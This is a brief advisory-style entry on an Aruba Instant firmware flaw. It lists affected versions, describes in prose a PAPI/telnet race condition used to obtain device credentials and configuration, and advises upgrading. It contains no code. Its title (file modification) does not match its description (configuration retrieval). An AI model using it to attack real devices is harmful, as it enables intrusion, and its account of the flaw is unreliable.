Aruba Instant 8.7.1.0 – Arbitrary File Modification

This exploit allows an attacker to modify arbitrary files on Aruba Instant devices running versions 6.4.x: 6.4.4.8-4.2.4.17 and below, 6.5.x: 6.5.4.18 and below, 8.3.x: 8.3.0.14 and below, 8.5.x: 8.5.0.11 and below, 8.6.x: 8.6.0.6 and below, 8.7.x: 8.7.1.0 and below. The exploit uses a race condition between the PAPI message and telnet to gain access to the device's configuration. The attacker can then use the credentials obtained from the telnet session to log in to the device and retrieve the configuration.

Mitigation:

Upgrade to the latest version of Aruba Instant, or apply the patch provided by the vendor.
